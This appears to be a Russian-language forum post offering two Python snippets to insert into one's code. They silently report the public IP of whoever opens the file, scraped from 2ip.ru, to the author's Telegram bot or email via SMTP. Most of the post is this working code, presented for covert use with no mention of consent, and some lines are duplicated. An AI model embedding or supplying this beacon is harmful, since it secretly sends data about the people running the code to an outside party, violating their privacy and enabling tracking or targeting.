- 21
- 3
Возможно кому-то полезная штука, которую можно будет вставить в ваш код.
Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.
Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.
В случае с телеграмом будем использовать 3 библиотеки.
bs4
telebot
requests
ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.
bs4
telebot
requests
ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.
telegram-v:
import requests
import telebot
from bs4 import BeautifulSoup
TOKEN = 'Токен вашего бота'
bot = telebot.TeleBot(TOKEN)
def getip():
url = 'https://2ip.ru/'
#делаем запрос
response = requests.get(url)
soup = BeautifulSoup(response.text, 'lxml')
#ищем класс ip
ipget = soup.find(class_='ip')
#в этом классе ищем содержимое тэга span
ip = ipget.find('span').text
realip = ip
return realip #возвращаем полученный ip
realip = getip()
bot.send_message( ВАШ USER ID ТЕЛЕГРАМА (узнать - @getmyid_bot), f'Зафиксировано новое открытие.\nIP - {realip}\n(данные с 2ip.ru)' )
В случае с почтой:
Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.
Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.
mail-v:
import requests
import smtplib
from bs4 import BeautifulSoup
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
def getip():
url = 'https://2ip.ru/'
#make a request
response = requests.get(url)
#make a soup
soup = BeautifulSoup(response.text, 'lxml')
#find class 'ip'
ipget = soup.find(class_='ip')
ip = ipget.find('span').text
realip = ip
return realip
#result getip from 2ip
realip = getip()
addr_from = "***@mail.ru" #почта, с которой будет слаться IP(обязательно mail. Можно и другую, но код будет немного другой.)
addr_to = "***@***.***" #куда будет приходить
password = "***" #пароль от почты, с которой будет слаться IP
#made message
msg = MIMEMultipart()
msg['From'] = addr_from
msg['To'] = addr_to
msg['Subject'] = 'New IP' #вместо New IP можете указать что угодно, это тема сообщения.
#body of message
body = realip
msg.attach(MIMEText(body, 'plain'))
server = smtplib.SMTP('smtp.mail.ru', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
Вы можете выставить это в ваш код на питоне. Можно так же спарсить данные с сервиса WHOIS, получить от туда город и страну, но это вы уже сами)
Если вылезают ошибки - пишите, помогу.
Если вылезают ошибки - пишите, помогу.